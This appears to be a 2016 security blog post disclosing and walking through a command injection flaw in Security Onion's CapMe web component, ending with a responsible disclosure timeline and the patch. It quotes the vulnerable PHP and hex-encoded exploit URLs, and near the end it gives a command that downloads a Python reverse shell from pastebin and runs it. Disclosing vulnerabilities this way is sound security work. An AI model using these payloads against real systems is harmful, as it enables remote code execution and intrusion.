February 5, 2016

Security Onion Command Injection Vulnerability

Disclosing a command injection in CapMe / Security Onion

Security Onion Command Injection Vulnerability

I recently needed to deploy an IDS and full packet capture on a small network. Fortunately the open source community has had such a thing for a while. Security Onion.

A Linux distro for intrusion detection, network security monitoring, and log management. It's based on Ubuntu and contains Snort, Suricata, Bro, OSSEC, Sguil, Squert, ELSA, Xplico, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes!
https://security-onion-solutions.github.io/security-onion/

Setup is as easy as they say. Install from live CD, run the setup remembering to make sure Full Packet Capture is turned on and a couple of reboots later I am up and running.

To access packets that have been stored by the FPC, there is a package called capME that works standalone but also integrates with Snorby.

Giving it  a full set of details and capME happily returns the requested pcap. But when I asked it to give me all traffic for an IP without including port numbers it told me I wasn't able to do such a thing, I had to fill in all the fields.

I wanted to see if I could figure out a way to get it to return a pcap without having all the fields completed so I start diving in to the source of the capME web forms and see what's happening.

The actual form submission is handled by JavaScript so I load capme.js and look for the post handler

Some of the form fields are checked to make sure they contain valid data

// IPs and ports
            var sip = s2h(chkIP($("#sip").val()));
            var spt = s2h(chkPort($("#spt").val()));
            var dip = s2h(chkIP($("#dip").val()));
            var dpt = s2h(chkPort($("#dpt").val()));

. . .

    // IP validation
    function chkIP(ip) {
        var valid = /^\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b/;
        if (!valid.test(ip)) {
            theMsg("Error: Bad IP");
            bON('.capme_submit');
            err = 1;
        } else {
            return ip;
        }
    }

    // port validation
    function chkPort(port) {
        var valid = /^[0-9]+$\b/;
        if (!valid.test(port) || port > 65535 || port.charAt(0) == 0) {
            theMsg("Error: Bad Port");
            bON('.capme_submit');
            err = 1;
        } else {
            return port;
        } 
    }

At the same time the values from the input fields are converted to hex strings.

Once the strings are validated and converted client side they are concatenated in to a string and passed in a GET request to .inc/callback.php

var urArgs = "d=" + sip + "-" + spt + "-" + dip + "-" + dpt + "-" + st + "-" + et + "-" + usr + "-" + pwd + "-" + sidsrc + "-" + xscript;

$(function(){
    $.get(".inc/callback.php?" + urArgs, function(data){cbtx(data)});
});

OK lets take a look at callback.php and see what's happening there.

The uri string is split on '-' and converted from hex back to strings.

$d = explode("-", $d);

$sip	= h2s($d[0]);
$spt	= h2s($d[1]);
$dip	= h2s($d[2]);
$dpt	= h2s($d[3]);
$st_unix= $d[4];
$et_unix= $d[5];
$usr	= h2s($d[6]);
$pwd	= h2s($d[7]);
$sidsrc = h2s($d[8]);
$xscript = h2s($d[9]);

Then depending on what kind of data source I selected sancp, event or elsa it would go in to one of several functions.

if ($sidsrc == "elsa") {


  // Construct the ELSA query
  $elsa_query = "class=bro_conn start:'$st_unix' end:'$et_unix' +$sip +$spt +$dip +$dpt limit:1 timeout:0";

  // Submit the ELSA query via cli.sh
  $elsa_command = "sh /opt/elsa/contrib/securityonion/contrib/cli.sh '$elsa_query' ";
  $elsa_response = shell_exec($elsa_command);

. . . 

$queries = array(
                 "elsa" => "SELECT sid FROM sensor WHERE hostname='$sensor' AND agent_type='pcap' LIMIT 1",

                 "sancp" => "SELECT sancp.start_time, s2.sid, s2.hostname
                             FROM sancp
                             LEFT JOIN sensor ON sancp.sid = sensor.sid
                             LEFT JOIN sensor AS s2 ON sensor.net_name = s2.net_name
                             WHERE sancp.start_time >=  '$st' AND sancp.end_time <= '$et'
                             AND ((src_ip = INET_ATON('$sip') AND src_port = $spt AND dst_ip = INET_ATON('$dip') AND dst_port = $dpt) OR (src_ip = INET_ATON('$dip') AND src_port = $dpt AND dst_ip = INET_ATON('$sip') AND dst_port = $spt))
                             AND s2.agent_type = 'pcap' LIMIT 1",

                 "event" => "SELECT event.timestamp AS start_time, s2.sid, s2.hostname
                             FROM event
                             LEFT JOIN sensor ON event.sid = sensor.sid
                             LEFT JOIN sensor AS s2 ON sensor.net_name = s2.net_name
                             WHERE timestamp BETWEEN '$st' AND '$et'
                             AND ((src_ip = INET_ATON('$sip') AND src_port = $spt AND dst_ip = INET_ATON('$dip') AND dst_port = $dpt) OR (src_ip = INET_ATON('$dip') AND src_port = $dpt AND dst_ip = INET_ATON('$sip') AND dst_port = $spt))
                             AND s2.agent_type = 'pcap' LIMIT 1");

$response = mysql_query($queries[$sidsrc]);

. . . 

  $script = "cliscriptbro.tcl";
    }
    $cmd = "$script -sid $sid -sensor '$sensor' -timestamp '$st' -u '$usr' -pw '$pwd' -sip $sip -spt $spt -dip $dip -dpt $dpt";

    exec("../.scripts/$cmd",$raw);

I was reading through this and I suddenly thought. Hang on shell_execute, exec and no calls to PHP's mysqli_real_escape_string in sight. At this point I stopped trying to get the packets I was looking for and instead took a longer look at the code. There was no server side validation of the user inputs that were being passed around they were just dropped in as variables.

I poked James Hall who was sat beside me and pointed him at the code I had just found. We decided it was worth having a closer look and seeing if we could get anything from it. Neither of us had much in the way of exploit development, but we had enough coding knowledge to have a play.

Develop an Exploit

First things first fire up tamper data and confirm the data is actually being passed the way I think it is.

Looks right, the form fields are simply hex encoded and passed in the URL. First thing we try is to get a simple command injection on the shell_execute command.

In order to get to the shell_execute function we need to set the Sid Source to elsa and then replace the value in one of the variables, in our test cases we used the Source Port, but the results would have been the same for any of the other variables that are used.

The standard request looks a bit like this.

https://192.168.1.106/capme/.inc/callback.php?d=3139322e3136382e312e31-3830-3139322e3136382e312e31-3830-1452631144-1452631144-757365726e616d65-70617373776f7264-656c7361-746370666c6f77

Which decodes as

https://192.168.1.106/capme/.inc/callback.php?d=192.168.1.1-80-192.168.1.1-80-1452631144-1452631144-username-password-elsa-tcpflow

the simplest method to command inject is to add a ; then whatever command you want to execute.

we start simple. As we have full access to the box anyway we just run ls and pipe the output to a txt file in /tmp/. This way we don't have to worry about getting valid data back in to the http response.

; ls > /tmp/test.txt

We can bypass the HTTP form as its just a GET request.

Encode as hex,

3b206c73203e202f746d702f746573742e747874

and replace the port number. This should get passed in to the shell_execute function and 'just work'. We had already tested it on the command line to make sure it was valid.

https://192.168.1.106/capme/.inc/callback.php?d=3139322e3136382e312e31-3830-3139322e3136382e312e31-3b206c73203e202f746d702f746573742e747874-1452631144-1452631144-757365726e616d65-70617373776f7264-656c7361-746370666c6f77

And Nothing! No output written to a temp file. We double check the encoding to make sure its the right command, it should have worked. We tested on the command line in exactly the same way as the script puts the file together but still working as we expect it to.

We try playing with different commands in different variables, read the code over several times looking for something that might be preventing us from executing the commands.

Just as frustration is about to set in I edit the callback.php page and tell it to print the $elsa_command see if we can figure out whats going on.

sh /opt/elsa/contrib/securityonion/contrib/cli.sh 'class=bro_conn start:'1452631144' end:'1452631144' +192.168.1.1 +80 +192.168.1.1 +; ls > /tmp/test.txt limit:1 timeout:0' {"tx":"0","dbg":"SELECT sid FROM sensor WHERE hostname='' AND agent_type='pcap' LIMIT 1","err":"Failed to find a matching sid. Invalid results from ELSA API."}

Once you see the full command printed out its a little easier to see what's gone wrong. Should have done this earlier.

The command is properly injected but is enclosed within single quotes which explains why the commands are not working. Changing the command to close the single quotes before we add our ; should let this work.

'; ls > /tmp/test.txt'

Try again, encode and replace in our URL.

This time checking on the host and it works. We successfully wrote the output of ls to a file on the box. As far as exploits go writing the contents of ls in to the tmp dir are not what you would call impressive.

Fortunately we have full command injection so can do almost anything we like. For example upload and execute a python reverse shell

'; wget <a href="http://pastebin.com/raw/qFH3kHDV" target="_blank">http://pastebin.com/raw/<wbr />qFH3kHDV</a> -O /tmp/shell.py && python /tmp/shell.py;'

Disclosure

Security Onion is open source and all the code is up on github so I could have just raised an issue on there and left it at that. But this exploit had the potential to be quiet damaging. James did a quick search to see if there were any public facing security onion installs that could be vulnerable. Turns out there are.

Because of this I decided to reach out to security onion directly. A quick tweet and I had the email address I needed.

Disclosure TimeLine

As I am publishing this, the vulnerability was reported several weeks ago, has been patched and updates are available.

  • 2016/01/12 1:03PM Eastern
    • Received detailed disclosure from Kevin Breen and James Hall via email.
  • 2016/01/12 1:19PM Eastern
    • Acknowledged receipt of email.
  • 2016/01/12 1:56PM Eastern
    • Confirmed issue and began working on fix.
  • 2016/01/12 5:12PM Eastern
    • Completed fix and started testing.
  • 2016/01/12 9:20PM Eastern
    • Completed testing and sent fix to Kevin Breen and James Hall for additional testing.
  • 2016/01/13 6:40AM Eastern
    • Received confirmation from Kevin Breen and James Hall that the fix works as expected and stops all the attacks they had considered.
  • 2016/01/13 7:26AM Eastern
    • Added fix to securityonion-capme package.
  • 2016/01/13 7:35AM Eastern
    • Submitted securityonion-capme package to build farm.
  • 2016/01/13 7:51AM Eastern
    • Package build complete. Initiated copy to stable PPA.
  • 2016/01/13 8:01AM Eastern
    • Copy to stable PPA complete.

As a thanks for the responsible disclosure Doug was kind enough to send over a Security Onion Challenge Coin :)